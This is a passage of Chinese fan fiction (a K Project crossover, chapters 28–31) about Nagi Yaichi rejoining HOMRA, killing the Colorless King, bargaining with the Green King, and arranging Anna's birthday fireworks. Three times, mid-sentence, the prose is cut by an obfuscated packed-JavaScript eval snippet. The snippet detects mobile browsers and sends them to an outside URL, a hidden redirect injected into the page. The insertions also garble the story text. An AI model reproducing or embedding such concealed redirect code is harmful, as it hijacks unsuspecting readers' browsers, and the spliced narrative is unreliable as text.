“……不,可能是很久。”沉默片刻后,他修改了自己的言辞,“在这期间,白日馆你可以随意进出,我没传消息的时候,你随意行动就好。” “工资照发。” 28.王剑高悬28 对于凪夜一留下来这件事,十束显然感到很惊喜。 五条须久那那一棍子不知道敲到哪了,十束一连病了好几天,直到第三天的早上才勉强爬起来。在此期间,凪夜一不出意料地接收到了绿之王的问候。 他的传话者是一只鹦鹉,在凪夜一烧水的时候飞进来,慢条斯理地整理了一下羽毛。 “向你问好,白日神先生。” 鹦鹉口吐人言,发出的并非鸟类的声线,而是属于绿之王本人的声音。 凪夜一按上水壶的盖子,半个眼神都没分给它。 绿之王并不脑,安安稳稳地停在窗台上,道:“请你见谅,因为身体原因,我只能以这样的方式来与你对话。” “对于须久那所做的事,我感到很抱歉。紫没能看出你的真实身份,导致须久那对和你处于同一个氏族的同伴下手,是他们的失职。” 凪夜一问道:“如果是不在氏族内的普通人,就可以下手了?” 绿王顿了顿:“当然。” “不过,说是下手,须久那也不会真做什么的。所以我并未出手管束,给你造成麻烦,我向你道歉。”比水流说话不紧不慢,敬语搭了个全套,看起来姿态放得异常低,实际上却并非如此,“那么,让我们切入正题吧。” “你愿意来到我的氏族吗?” 凪夜一转头看向窗台上那只鹦鹉,眼神静静地凝着冰。 “成为你的氏族,有什么好处?” 比水流道:“我相信,我们之间不需要谈什么好处。我来向你讲述我的梦想吧——藉由石板力量的解放,制造出一个人人都拥有力量的新世界,一个人人都可支配自己命运的新世界。” 鹦鹉奇异的眼球倒映着少年面无表情的脸,略微扭曲的景象显得安静又诡异。 凪夜一说:“可笑。” 比水流并未对他的发言感到恼怒,反而发出一声愉悦的笑。 他丝毫没将凪夜一的拒绝放在眼里,高高在上地俯视人的一切,末了浑不在意地添上一句:“啊,请先别急着拒绝。” “现有的世界是错误的——这是我们的共识,这一点你无法否定。”比水流慢慢地道,“担负人的心愿,是很不容易的事吧?” “愿望的底色是贪欲,和这个概念打交道,就像把手伸进一条沉着淤泥的河流。” “表面上风平浪静、清澈无害,伸手一搅就会立刻变色,露出与刚才截然不同的恶态——据我所知,你对此感到厌倦,并不想再继续下去。” “那么,就让人类拥有能企及自己贪欲的力量如何?你可以从这份使命之中解脱,不必再在这个让你感到痛苦的世界之中行走。” 凪夜一靠着墙,一言不发地听。 他的神情发生了些许变化,从最开始隐有攻击性的冷漠,转为现在绝对的寂静。 听完比水流的话,他慢慢抬起头,目光落在窗台的鹦鹉身上,隔着一块电子屏,与藏在黑影中的比水流对视。 “很好的论调。”他平静地说道,“遇到不想做的事就甩手跑掉,世界如果真的这么简单,许多痛苦就不会存在了。” “憧憬那样一个未来,和天天抱着玩具做梦的孩子有什么区别?” 比水流道:“你的意思是,拒绝?” 凪夜一说:“我拒绝。” “说实话我有点失望,没想到我的等待换来的是这种答案。”他神色淡淡地道,“你只是一个缩在过去,不敢往前看的胆小鬼。心智还没完全成熟,得到了超乎自己掌控的力量,就挥舞着它决定去改变世界……” 少年站直身体,走到鹦鹉的面前,碧色的眼瞳迎着光,像两颗透亮的玻璃珠。 “可你远不知道,人类的贪欲有多可怕。” “让我来告诉你,你所追求的未来到底是什么样吧。”凪夜一说,“人类是被困在弱小躯壳里的兽,拥有一半的善,一半的恶。弱小是压制恶意最好的笼子,而一旦它消失,贪欲会飞速膨胀。” “首先是冲突,然后是战争。或许其中仍有正义的火光存在,但现在的世界发展程度经受不起那样一场洗礼。” “你梦中的新世界是一块狭窄的悬崖,会有超过半数的人从崖边失足跌落身亡。” “真是令人伤心的说法。”比水流道,“由你这样一个拥有超乎常人力量的权外者说出来,实在高高在上得叫人心寒——白日神。” 他在“神”这两个字上加了重音,听起来戏谑又讽刺。 凪夜一平静地道:“我不是神,只是个微不足道的人。” 馆舍忌惮馆主的恶意,早已将他有可能会加害他人的手脚锁进规则的镣铐里。 “我的工作,是打捞沉在淤泥里的幸福。”少年垂着眼帘,说这句话的时候,神情带着不似作伪的郑重。“活着并不是一件轻松的事。如果一两个愿望的实现能让存活的痛苦减轻一些,那再好不过。” 比水流很久没说话。 等到厨房里的水壶发出尖锐的气声,他才开口道:“那么,我们只能是敌人了。” 凪夜一说:“如果会牵扯到吠舞罗的话,必然是。” 十束推开厨房门的时候,凪夜一一个人站在灶台前头,正在撕开感冒药剂的袋子。 他眨了一下眼睛,快步走了过去,“夜一?怎么还守在这里等水开啊。我已经好得差不多了,这点事情我可以自己做啦。” 凪夜一用勺子将药剂搅开。一边搅,他一边道:“多多良。” 十束回道:“怎么了?” 少年抬起眼睛,青年从他的眼睛里找到几分罕见的忐忑。 “我想回吠舞罗。”他低声说,“我需要做些什么?” 十束惊讶地睁大眼睛。片刻后,他弯起双眼,手掌捧起少年的脸颊,珍惜地揉了揉。 “什么都不需要做。”他说,“只需要推开酒吧的门,和大家说一声‘我回来了’,就足够了。” 真的那么简单吗? 似乎是这样。 凪夜一的肩膀被按在酒吧老板的手掌底下,草薙顶着一酒吧人的目光宣布:“诶——接下来,欢迎我们一名重要外派成员的回归。”即使周防尊在他背后投来茫然的目光他也面不改色,“他的名字叫凪夜一,很早以前就加入吠舞罗了,今天正式在大家面前露面。” 这个说辞简直漏洞百出,凪夜一做好迎接冷场气氛的准备,没曾想耳边竟然响起海浪一般的欢呼和掌声,少年神情恍然地站在中间,产生了一种时间还未回溯的错觉。 八田表情僵硬地鼓掌,双手拍得啪啪响,一边挪到凪夜一边上:“那个……凪,凪对吧?上次的事情不好意思啦……话说草薙哥,我们这原来还有这个职位吗?外派成员是干嘛的?凪什么时候加入吠舞罗的?比我还早吗???” 草薙:“你的重点是最后一个问题吧?自己去问!” 凪夜一被他推了一下,差点没站稳,扑进人群里头。众人都对这位新成员抱有奇妙的兴趣,围着凪夜一的耳朵边上问东问西,少年找了个空地将自己塞进去坐稳,挨个回答过去。在这个空挡中,他偶然间抬起眼帘,看见角落里的十束举着那台老相机,正朝着这边拍照。 青年唇角的笑弧藏在相机后面,暖黄的灯光在发丝间跃动,柔和得像是初春里的一束日光。 微微一愣后,凪夜一坐正了身体。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114851|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回忆上次挂在墙上那叠手忙脚乱的照片,这次少年决定表现出一点进步之处——他将手掌放在膝上,朝着镜头弯起唇角,露出一个干净漂亮的微笑。 十束举着相机的手一顿,不自觉间向下垂落。 似乎不满足于取景器上投映的画面,青年从屏幕上移开目光,用自己的眼睛真真切切地收容下那个微笑。莫名的,几分隐痛在心口炸开。 “怎么了?”草薙凑过来问道,“你的表情有点奇怪。不开心?” “没有。”十束说,“我只是,觉得真的很高兴。” 凪夜一再一次加入了吠舞罗,以一个正常氏族成员的身份。 这一次他的住处不再是酒吧二楼,而是被嵌套在旧楼房中的白日馆。草薙会用和对待八田镰本一样的态度对待他,同伴们对他的评价是看起来纤细,实际上却很强大可靠。 他能帮人实现愿望的能力在氏族成员中仍然畅通无阻,只有十束偶尔会停下来,给予他一些特殊的关照。 一切都在向着更好的方向发展,少年会参加吠舞罗的集会,会尝试八田的滑板,空闲的时候,会带着安娜偷偷跑去很远的地方玩,晚上再垂着头坐在沙发上,接受草薙的说教。 他的身上焕发了巨大的生命力,好似透支了接下来很长一段时间内养料的植物,开出的花朵鲜活得叫人移不开眼。 “很奇怪呢。”十束盯着玻璃杯里的酒液说道,“我其实并不觉得‘开放’是很美妙的词。” 周防尊从鼻腔里哼了一声,算是回应。 “King也这么觉得吧?开放之后紧随而来的是凋谢,凋谢以后就是逝去。非要说的话,还是‘常青’更好一些啊。” 草薙:“你的盆栽是矮松,它是不会开花的,多愁善感的青年。” “不是在说盆栽的事啦。”十束无奈地摇了摇头,“说起来,King,最近感觉怎么样?夜一给你上的那一道‘保险’。” 周防尊叼着烟吸了一口,烟头上红色火星闪烁,很快燃尽一截。 “有用。” 草薙笑了笑:“你最近没在酒吧不知道,这家伙睡觉的频率都少了,好几次大清早就出现在楼下,吓人一跳。” 周防尊说:“不做噩梦了。” “就是这样。这家伙以后的力量会越来越安稳吧?”草薙说,“至于凪的事情,你也不用太担心。他这段时间很开心,这是毋庸置疑的。至于别的事情……相信他自有打算吧,怎么样?再怎么说,他也是我们这为数不多靠谱的成员——虽然年龄小了点。” “相信吗……” 十束他呼出一口气,皱着的眉头慢慢舒展开来。 “说的也是。要相信他。” 相信他,不会就此凋零。 夜中。 林立的高楼底下,鲜有人迹的人形步道旁,凪夜一靠在漆黑的阴影里,凝视脚尖前方被光映亮的一小块路面。在他的侧后方,道路围栏前,站着两道身影。 一位白色短发的少年,一只熟悉的绿色鹦鹉。 风卷着他们谈话的内容,断断续续地落到凪夜一耳边。 “……吠舞罗三把手……不具备武力……最弱。” “……保险装置……” “……加入时间不明……拥有媲美石板的能力……身体控制权……” 最后,是比水流不慌不忙的承诺: “当然,我会协助你的。” “夜刀神。”凪夜一道。 “我在。” 同样藏在阴影中的黑发少年严肃地应道。 “看见那边那个白头发了吗?散会以后,用尽一切手段架住他。” 29.王剑高悬30 一切如同预料之中的那样发展。 无色是个只会匆忙逃窜空有架子的蠢货,夜刀神狗朗要架住他轻而易举。 因为前任侍主也是无色之王的原因,少年对这位新任无色怀抱满腔的愤怒,对凪夜一指令的完成度异常之高。 周围空无一人,再加上夜刀神被提前提醒过,无色无处可逃,很快被架到凪夜一面前。 少年坐在围栏上,脸上的表情很漫不经心。 “滚出来。”他说。 无色在夜刀神手底下挣扎,一张无害的脸孔扭曲到难以入目的程度,哈哈大笑着对凪夜一发出挑衅:“我就不出来!哈哈哈哈哈……我不出来,你能拿我怎么办?要杀了这具身体吗?怎么样?动手啊?” 夜刀神皱起眉头,狠狠地按了他一下。 无色的脸差点被按到地上,再抬起头时又变了一副脸色,瞳孔紧缩,满脸惊恐地求救:“不要……不要杀我……求求你了!呜……这是哪?我在哪?我……呵哈哈哈哈哈哈哈哈!你杀了我啊!” 凪夜一面无表情地观看他的表演,看了一会儿,立刻感到厌倦。 他从身边的空气里扯出一把枪,利落地上膛,将枪口对准无色的额头。 “你自己说的。”他道,“那就去死吧。” 无色的表情猛地僵住了。 然而,在凪夜一扣动扳机的前一秒,不远处竟然响起十束茫然的声音:“夜一……你在做什么?” 凪夜一出发前确认过十束的行程,他绝对不可能出现在这里。明明知道极大可能是假的,少年还是回过了头—— 视野内的一片栏杆上,站着那只可恶的鹦鹉。模仿十束的声音说完一句话后,它抖了抖羽毛,从容不迫地飞走了。 无色发出一声尖锐的笑声,猛地从陌生少年的身体里窜出来,以肉眼难以看清的速度贴近凪夜一的瞳孔。 却见凪夜一翠色的眼瞳一转,刚才略微茫然的视线转瞬凝结成难以动摇的轻蔑。 “装出来骗你的啊……蠢货。” 伴随着少年轻轻的嗤笑,无色试图逃跑的身躯被雾气彻底绞碎。透明的血水落到地面,被凪夜一兴致缺缺地碾过。 夜刀神狗朗站在他身后,欲言又止片刻,还是开口叫住他:“凪。” “啊。”凪夜一顿住脚步,回过头,“我们的雇佣关系到今晚就结束了。” “……我知道。”夜刀神不自然地别过头,“你接下来要去哪?” 凪夜一说:“一个人走走。” 说是走走,凪夜一其实也没有什么能去的地方,最后还是回了吠舞罗。 时间已经到了凌晨,酒吧收工打烊。草薙已经收拾完了,正在收门口的招牌板。看见凪夜一过来,远远地抬手打了个招呼:“哟。还没回去?” 酒吧里光线很暗,只有吧台那边亮着一盏暖黄色的灯。凪夜一脱了外套放在一边,坐到了吧台前。 草薙一看他这个架势,眼皮直跳:“喂,未成年不能喝酒啊。” 凪夜一把狱门疆也摘下来了,放在自己的手边,双手撑着脸,似乎想要尝试一下传说中的“撒娇”,但是彻底失败了。 草薙拿他一点办法都没有,叹了口气,伸手敲了敲他的头,“就这一次。” 凪夜一脸上露出一个小小的微笑。 他将手放下来,目光柔和地注视着桌上那枚小小的六面体,盯了一会,又用指尖轻轻摩挲一下。狱门疆上的蓝眼睛闪烁着纯澈的光泽,映入少年眼中,像是无数枚散落的星星。 一杯调好的酒放到了凪夜一面前。 “酒精含量不高。”草薙说,“你今晚好像还挺高兴的?真少见啊。” 凪夜一点头。“解决掉了一件一直想解决的事。” 酒吧老板也笑了下。 “那不是很好吗?人生可是很难有这样顺畅的时候啊。” “草薙先生也有不顺畅的时候吗?” “喂喂,我也只是个凡人啊,不顺畅的时候当然有。不过大多数是尊刚被选中那会的事情,现在的生活我还是很满意的。”草薙点了根烟,就着这稀少的氛围,抒发了一点平日里不会宣之于口的感概,“如果说有什么心愿的话,就是希望这个组织、还有组织里的家伙们,都能平平安安的。” 这或许是为数不多的时刻,凪夜一听见“愿望”两个字,却没有伸手。 因为他很清楚地明白,这个愿望他办不到。 吧台前的沉默持续了好一会,等到草薙从莫名涌上来的回忆中拔出注意力,才发现凪夜一不知道什么时候已经趴了下去。 少年的下半张脸藏在臂弯里,总是弧度柔顺的白发影影绰绰地遮住眉眼,注意力似乎已经有点涣散了。 “草薙先生……”他用轻得快要消失的声音呢喃道,“待在这里的日子,我很高兴。” 这纵然是一句稀少的剖白,此时却莫名充满了遗言的既视感,听得草薙心惊肉跳。 他向前探身想要确定凪夜一的状态,却发现少年已经闭眼睡着了。 计划变更,第一步,除掉无色这个障碍。 第二步,也是最重要的一步,锁住绿王的双手。 第三步,和十束去看一场烟花。 现在计划的第一步已经完成,而凪夜一站在第二步启动的当口,靠着转角的墙壁,对自己身边路过的五条须久那打了个招呼:“呀。” 轻飘飘的一声,叫人汗毛倒竖。 五条须久那猛地转过头,露出一副见了鬼似的表情,立刻后退几步,摆出警戒的姿势。 “你想干什么?!” 他的武器在上次被凪夜一摧毁,现在随身携带的是从御神勺紫那儿顺的一把太刀,用的还并不是很趁手,战力大不如前。 “放心,我不会对你怎么样的。”凪夜一说,“只是需要借用一下你这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129092|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。自认倒霉吧,谁叫你的王在乎你呢?” 听着这句相似的台词,五条须久那的手臂上起了一层鸡皮疙瘩。他背光的双眼在五条须久那看来更像一双盛满恶意的黑洞,意识到情况不对,这位绿族的干部向后退出一步,选择了最简单有效的方式——跑。 只是他刚刚跑了一步,就被后方追来的白色光带缠住手脚。 五条须久那慌忙地回头:“这是什么东西?!你到底想干什……唔唔唔——” 光带捂住了他的嘴,将他整个人密不透风地裹了起来。 一个清脆的响指以后,五条须久那的身影彻底消失在原地。 凪夜一站在原地继续等,不多时以后,路口边传来急促奔跑的喘息声。 一位十六七岁的男高中生停在他面前,长着一头凌乱的黑发,黑框眼镜,两只眼睛底下挂着重重的黑眼圈,看起来不修边幅。逃课逃得匆匆忙忙,身上甚至还穿着学校的制服。 勉强把气喘匀以后,高中生抬起头,攥紧了背包带子。他的肢体语言有些拘谨,眼神却很诡异。 那是一种狂热到让人有些不适的眼神。 源于对平凡日常的厌倦,在厌恶的生活模式里被囚禁太久,对一切日常接触不到的事物抱有瘾君子般的狂热。他是JUNGLE的G级成员之一,出于某些不可言说的机遇,手中掌握的信息要远超一般的同级成员。 “您现在处于JUNGLE内部的通缉名单上,下次出门的时候,请做一下伪装吧。”这位名叫正分幸一的绿族成员说道,“不过今天没关系,这一小片地方的成员我用权限支开了。” 凪夜一看了他一眼,示意他赶紧进入正题。 然而正分幸一似乎领悟到了一些不同的意思,捏了捏书包袋子,用紧张急促的语气说道:“没关系,王不会发现的。他的眼睛遍布整个城市,但他观察不到角落里的动静,更何况我只是一个小小的G级成员……” 因为亢奋,他说两句就要停顿呼吸一下,耳尖通红。 凪夜一耐心地听他说完一箩筐的废话,约莫有五分多钟过去,今天唯一一位“客人”终于对他抬起了手。 “我的名字叫正分幸一。我的愿望是想要去到绿之王的面前,瞻仰我的力量之源,王的伟岸英姿……” 啪——。 击掌过后的瞬间,高中生的身影消失在凪夜一面前。 凪夜一沉默地掏出终端,屏幕上放浮现定位器报来的实时坐标。坐标数字随着正分幸一的位置跳动,最后缓缓停在某一个数值上。 “久等了,夜一。”旁边几步之遥的店铺前,十束提着两杯热饮往这边走,边走边叹气:“哈……店里的人太多了。嘛,不过味道值得期待——你要哪一杯?抹茶味的喜不喜欢?” 凪夜一按熄了屏幕,对着迎面而来的十束露出微笑。 “我都可以。”他道,“走吧,电影是不是要开场了?” 30.王剑高悬30 在深夜时分,凪夜一造访了绿之王的领地。 那是处于底下的一座小小建筑,藏在黑暗之中,并不起眼。门缝里透出微弱的灯光,让凪夜一意识到,对方或许正在等自己登门造访。 凪夜一走到门前,抬手敲了敲门。 他只敲了一下,门立马被拉开了。出现在门后的是御神勺紫面无表情的脸,他暗含着杀意和冷意的目光在凪夜一身上剐过一遍,随后让出了道。 绿组的成员安安静静地散步在房间的各个角落里,开口招待他的是一位穿得神似神父、胡子拉碴的大叔。 他铁心地为凪夜一准备了一只坐垫,又端上来一杯茶,哈哈道:“啊,贵客。请坐,请坐。” 凪夜一没坐,视线落在不远处的比水流身上。 这是他第一次见到比水流,一位坐在轮椅上、动弹不得的王。 比水流似乎也没有浪费时间的意思,淡淡道:“进入正题吧。须久那在哪?” 凪夜一说:“我的收藏馆内。” 磐舟天鸡站在比水流身边,用一如既往的友好语气问凪夜一道:“大叔我姑且问一句。他没有变成标本什么的吧?” 凪夜一瞥了他一眼,抬起手掌。 白色光带从他手心蔓延,白日馆一角的影像出现在房间的空地中。 五条须久那被关进陌生的地方,找不到出口,正在气急败坏地搞破坏。谢尔提站在不远处,每看见一面墙被打坏,就伤心地呜呜两声。 “如你所见,很有精力,烦人得不行。”凪夜一收回手,影像立刻消失了。少年双手揣进风衣兜里,随意地在沙发上坐下,“来谈条件吧。想要他回去,对吗?” 比水流的目光一直锲而不舍地追着他。 “当然。”他的声音听起来仍然没什么起伏,但答应了要谈,就说明事情有谈的余地,并且很大。“你想要什么?” 凪夜一简洁明了道:“你们停手。” 这句话一出,屋内的气氛至少冷凝了三个度。磐舟天鸡的眼神也冷下来,友善的膜布被撕开以后,底下尖锐的敌意暴露无遗。 比水流还没有说话,御神勺紫撑着脸,先哼笑一声:“满足凡人白日梦的神,自身也喜欢做白日梦吗?” 鹦鹉琴坂停在架子上,也跟着嘎嘎叫:“白日梦!白日梦!” “重新提一个条件吧。”比水流不慌不忙地道,“如果今天你还想好好离开这里的话。” 他的威胁对于凪夜一来说,像是石子飘出来的水花,实际上并没有什么效果。 “你们好像误会了什么。”凪夜一淡淡道,“我对你们的理想不感兴趣,对未来世界变成什么样,也不感兴趣。” 少年从沙发上站起来,慢慢踱步到比水流面前,边走边道:“我不愿意做,不意味着我会阻止。你们有什么理想,尽管去做好了——我的条件只有一个,别对十束多多良动手。” “仅此而已。” 比水流抬头看了他一眼,唇角竟然弯起一个笑。 “对别人动手就可以了吗?” 凪夜一垂眼俯视他。“办得到的话,就去试试。” 比水流的笑容敛去。 他比谁都清楚,支撑着吠舞罗的那位王到底有多棘手。正因如此,不与其正面对上、用计策暗中将其拆解,才是最优的选择。而拆解的重中之重,就是十束多多良。 “我还以为,你是那种圣人。” “随你怎么想。”凪夜一道,“同意的话,把手伸出来。摆出这副表情做什么?监视了我那么久,还不明白和我订契约的条件吗?” 背后传来太刀出鞘的声音。 刀尖抵着凪夜一的后背,御神勺紫皮笑肉不笑道:“我说你啊,别太过分了。” 比水流道:“紫,把刀收回去。” 御神勺紫握刀的手一顿,顺从地把刀收了回去,抱着手臂往后一靠,不再出声。 “姑且问一句。” “磐先生,帮我解开把吧。” 磐舟天鸡叹了口气:“真拿你没办法。” 他俯下身,将比水流身上层层叠叠的束缚解开,拉出一条口子,随后小心翼翼地将比水流的手捧出来。 苍白的手,指甲的形状很整齐,看得出来平常照料他的人很用心。 凪夜一将手放了上去,两人的手掌相合,特殊契约成立的金光在掌间一闪而过。随后,比水流的手垂了下去。 “这就算成功了吧?”磐舟天鸡道,“把须久那放回来吧。再在你那里待着,他回来以后要做好久的噩梦了。” 凪夜一却没有应声。他盯着比水流看了一会,忽然弯下腰,伸手在比水流左边胸膛的位置按了按。 忽略比水流瞬间僵滞住的呼吸,凪夜一很快察觉出了不对的地方。 空的。 肋骨缺了几根,也没有心脏。取而代之的是一团稳定的能量,接替了心脏的职能。 缺失的心脏。依靠石板存活的王。 猛然间,一条模糊的线在他脑中拉开。 凪夜一垂下眼帘,挥开磐舟天鸡顶在他太阳穴边上的枪口,开口问出一个对他来说无比寻常的问题。 “如果意愿足够强烈,我可以治好你的心脏。要试一试吗?” 光线柔和的灯光从吊灯上洒下来,微微映亮凪夜一的眼睛。 比水流与那双眼睛对视,用今夜以来最冷、最强硬的语气道:“我拒绝。” 凪夜一离开了,走之前留下了五条须久那——后者刚一落地就惊慌失措地扑到比水流身上,不无崩溃地大喊道:“流!我被那个家伙关进一个没有出口的鬼地方……流?” 少年的控诉一顿,忽然发现自己抱着的这具身体正在微微发抖。 比水流低着头,黑发底下的瞳孔缩到针尖大小,尖锐的愤怒翻涌其中。 他的指节蜷缩,隐约有绿色的电流闪现,很快又被强行抑制住。 “治好心脏……试一试……” 凪夜一投下的那一道目光,在他的脑海中来回闪现。每出现一次,怒火就高涨一分。 那道目光漠然而平静,视线的主人似乎根本不知晓自己提出了怎样一个石破天惊的问题。生命这样重的筹码在他眼中似乎只是一块可以随意挪动的小小石子,高高在上、波澜不惊…… 这算什么? 如果一切伤痛可以被如此轻易地抹除,那么他在伽具都坑废墟之下的挣扎,在这位白日神的眼中,是不是也只能算是乏善可陈的表演? 良久过去,比水流将那股猛烈的怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136844|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火收进心中。 他面无表情地抬起头,道:“磐先生。” “帮我叫一个人过来吧。前几天被紫轰出去的那位成员,正分幸一。” * “诸君!”十束站在吧台前,煞有介事地张开手臂,“很快,我们的小公主,安娜的生日就要到来了!” “有什么想法,趁着今晚安娜不在的时候畅所欲言吧!” 千岁洋第一个举起了手:“报告,十束老师!” 十束笑眯眯地点名:“请讲,千岁君。” “办一场让人流连忘返的的酒会怎么……” “Pass。下一位是谁?”、 “……十束哥!听我讲完啦!” 镰本力夫举手。 “噢噢!镰本有什么好想法?” 镰本力夫畅所欲言:“算起来安娜也好久没有出去好好玩过一次了。直接把游乐场包下来给安娜庆生怎么样!” 草薙提起一块抹布就扔过去:“你当我的钱包是铁打的吗!” 接下来的时间,一大堆馊点子齐聚一堂,气氛被炒得异常热烈。凪夜一想了想,也举起了手。 十束的眼睛一亮,立刻把他点了起来。 “一起准备一个大礼物堆吧,能让安娜从早拆到晚的那种,她一定会喜欢。”凪夜一说,“办完以后,一楼让我来收……” “就这么办!”八田一只手直接把凪夜一的头按下去,狠狠地薅了一把,“真能干啊!你小子!看不出你在这种事情上这么得心应手啊!” “欸——欸欸欸——那我买什么比较好?首饰?衣服?玩具?” “什么都可以啦蠢货!觉得合适的放进去就行了!” 散会的时候,十束挪到凪夜一身边,帮他把沙发背上挂着的外套提起来。 “我自己来就好。”凪夜一伸手去接,途中因为十束笑眯眯的目光迟疑了一下,“……怎么了?” 十束把外套递给他,双眼弯弯的:“没什么,只是有点意外。真是个好提议啊,难得草薙哥也没有反对。” 凪夜一把衣服穿好,在心中道:不是我想的。 和十束一起外出的经历恍若昨日,但那是只属于凪夜一一个人的记忆,恰如他现在手腕上戴着的手串,十束曾询问过它的来历,只得到了一个默然的微笑。 “很意外吗?”他和十束一起向外走,一边问道。 “毕竟夜一在人心这种事上很笨拙嘛。” 两人迈出吠舞罗,呼吸被冷风聚成淡淡的白雾,十束把脸往围巾里缩了缩,笑道:“不过,人心就是复杂多变,很难揣摩啦。” “不知道怎么办的时候,拿出自身所有的温柔和坦诚就好了。”青年的目光一如既往的温和镇定,“人心中不存在无法融化的坚冰。我一直这么相信着。” 凪夜一将这句话默默记在了心底。 他放在口袋里的终端震了两下,少年翻出来按开屏幕,看见自己熟人发来的消息: [▆▆:12.7晚上的烟花会,是吧?] [▆▆:已经办妥了。下次记得放点有技术含量的委托,我也是很忙的!] 凪夜一将终端揣回口袋,抬头看了一眼漆黑的天幕。 肯定比上次的漂亮。他想。 31.王剑高悬(完) “辛苦了!” “回去路上小心啊。” “知道啦,草薙哥早点休息啊。”十束笑着挥了挥手,门口的铃铛随着开门的动作发出清脆的响声,“走吧。啊咧……夜一?” 原本已经走到门口的凪夜一折返回去,将一个盒子放到吧台上。 “之前不小心漏掉了。这个也要放进礼物堆。” “是是……”草薙无奈地应声,“这都是你放进去的第多少件了?” 凪夜一笑了一下,说了声“谢谢”,跟着十束一起离开了。 八田提着拖把在店里来回推,推到草薙那边时纳闷道:“这么晚了,他俩要去干什么?” 草薙忙着擦酒杯,头也不抬地回答道:“去看夜景什么的吧?” “可恶,羡慕死了!”八田把拳头握得咔咔响,“十束哥从来没邀请我去看夜景过!” 草薙:“啊,我瞎说的。” “草薙哥!”八田重新握住拖把柄,吭哧吭哧来回拖了一圈,趴到吧台前抹了把汗,“不过说起来,那两个人感情可真好啊,每次看见他们几乎都在一起。” “这不是挺好的吗?”草薙点了根烟,挥挥手把八田挥开,“别偷懒,快干活。早点干完早点睡觉。” 晚上11:31分,凪夜一和十束一起登上了露台。 和比良坂大厦不同,这儿的露台没有围栏,视野更开阔,高度也相差无几。 十束在露台边缘调整相机的位置,凪夜一站在一边看着他。时间走得很快,十束的相机还在调试途中,终端上的时间已经跳到了11:39分。 “马上开始了,多多良。” 十束眯着一只眼睛看取景器:“我把这个位置再转一下……好了!就这样。夜一,你要不要过来看……” 话还没说完,远方传来“砰”的一声响。 十束的注意力被吸引,转头看向天幕。 被霓虹灯映出些许红紫光芒的天空上,一束白光拖着长长的尾迹上升,一声爆响后,炸开绚丽的花旋。 这是开始的信号,数道烟花弹紧随其后,攀升上空。天幕之上彩光明灭,街上的路人被声响吸引,很快停下脚步,举起终端不停拍照,面露惊叹。 十束一转不转地看,眼中盛着一条盛大的人造光河。 他的身影在闪烁的光芒之中忽明忽暗。不多时,取景器的时间跳到零点。 一排巨型烟花上升,轰响着爆开,汇成一排鲜明的大字: アンナ、誕生日おめでとう。(安娜,生日快乐。) “啊……” 吠舞罗二楼的窗户边上,安娜趴在窗户前看烟花,乍一看见这几个字,猛地睁大了眼睛。 她有些无所适从地握紧双手放在胸前,脸上浮起一片小小的红晕。片刻后,她哒哒哒地跑出去,挨个敲响了周防尊和草薙的门:“尊!出云!看烟花!” 草薙一脸莫名地被安娜拽到窗前,看见天上飘着的几个大字时,顿时有点怀疑人生。 “那俩家伙,搞得真大啊喂……” 周防尊笑了一声。 “阵仗确实很大呢。”耳麦里传来上司不紧不慢的声音,“伏见君。你那边的情况怎么样了?” 半夜被拉起来加班,伏见猿比古顶着一身比鬼还重的怨气回答道:“拥堵地带已经疏散了,违规燃放烟花的家伙也抓到几个……话说,这不是警视厅的工作内容吗?为什么落到我们头上了?” “没有事先抓到异常事件的苗头,也是一种失职啊,伏见君。”宗像礼司坐在未处理完的工作文件前,愉悦地回答下属的问题,“工作之外,顺便也欣赏一下烟花吧。这样的烟花会,每年可不多见。” 露台上方,十束忽然将镜头转向了凪夜一。 “嗨嗨~有请这场烟花会的发起人,凪夜一君!”十束用轻快的语调说道,“请问,你有什么想对接下来要举办的生日会的主人公安娜说的?” 炸开的烟花在少年脸上铺洒一片明暗的剪影。 听见十束的话,他略微反应了一下,才看向镜头。 “生日快乐,安娜。”少年在画面中微微笑道,“希望这些烟花能让你高兴。” 他原本只打算说这两句,可看见镜头后面的十束,少年的心脏一跳,忽然升起一些莫名的情绪。 这股情绪支撑着他向镜头走近了些,脸上生出罕见的踌躇之色,一字一句斟酌道:“……还有大家。” 十束给予他有力的肯定:“放心吧,大家一定都会喜欢的。这是来自夜一的宝贵心意。” “就比如我。”他笑道,“我接下来的人生里,都将铭记这一天。” 后半场烟花会,凪夜一和十束坐在一起看完了全程。 最后一束烟花落下,天幕回归寂静,十束起身,将录像功能暂停结束。凪夜一站在他侧后方,等待他收拾相机完相机一起离开。 刚接收过烟花响狂轰滥炸的听觉稍稍有些失灵,然而,靠着这迟钝的听力,凪夜一忽然听见楼梯口处传来一声轻微的爆响。 他慢半拍转过头,瞥见飞来的是什么东西时,瞳孔骤然紧缩。 